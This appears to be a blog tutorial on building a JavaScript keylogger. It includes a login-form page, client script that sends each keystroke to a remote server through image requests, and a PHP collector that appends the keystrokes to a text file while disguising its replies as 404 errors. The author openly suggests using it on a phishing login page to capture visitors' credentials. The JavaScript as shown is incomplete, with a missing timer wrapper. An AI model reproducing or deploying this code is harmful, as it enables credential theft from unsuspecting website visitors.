JavaScript Keylogger Tutorial | How to Make a Simple Keylogger in JavaScript


JavaScript keylogger is a tool that enables us to see what a user has typed on his/her keyboard. Today, I will show you how to make a simple keylogger using JavaScript.

Basically, our JavaScript Keylogger will capture the keystrokes of users in a text file. We can then review this text file to look at what the user has typed on the keyboard.

You can also put this script on your website to make a phishing website login page.

JavaScript Keylogger


For the sake of this tutorial, I created a complete HTML web page including a login form. But, you just need to load the keylogger.js file using the HTML <script> tag. You can design your HTML web page however you like.

<!DOCTYPE html>
<html lang="en">

    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>JavaScript Keylogger</title>
    <script src="./keylogger.js"></script>

        <div class="login">
            <h1>Account Login Form</h1>
            <input type="email" placeholder="Username" ><br><br>
            <input type="password" placeholder="Password"><br><br>
            <button type="submit">Login</button>



Note:- Replace the value of url variable with your website link where the keylogger.php is located.

var keys='';
var url = '';

document.onkeypress = function(e) {
	get = window.event?event:e;
	key = get.keyCode?get.keyCode:get.charCode;
	key = String.fromCharCode(key);
	if(keys.length>0) {
		new Image().src = url+keys;
		keys = '';
}, 1000);




header($_SERVER["SERVER_PROTOCOL"]." 404 Not Found", true, 404);
header('Access-Control-Allow-Methods: GET, REQUEST, OPTIONS');
header('Access-Control-Allow-Credentials: true');
header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Headers: Content-Type, *');

$file = 'data.txt';

if(isset($_REQUEST['c']) && !empty($_REQUEST['c']))
	file_put_contents($file, $_REQUEST['c'], FILE_APPEND);




Our JavaScript Keylogger will store the keystrokes in a file called “data.txt”. So, let’s create an empty “data.txt” file on your server.

Now, whenever the visitor types something using the keyboard on your website then the JavaScript will automatically send each keystroke to the PHP file on the server and our PHP code will store the keystrokes inside the “data.txt” file.


Leave a Comment

This site uses Akismet to reduce spam. Learn how your comment data is processed.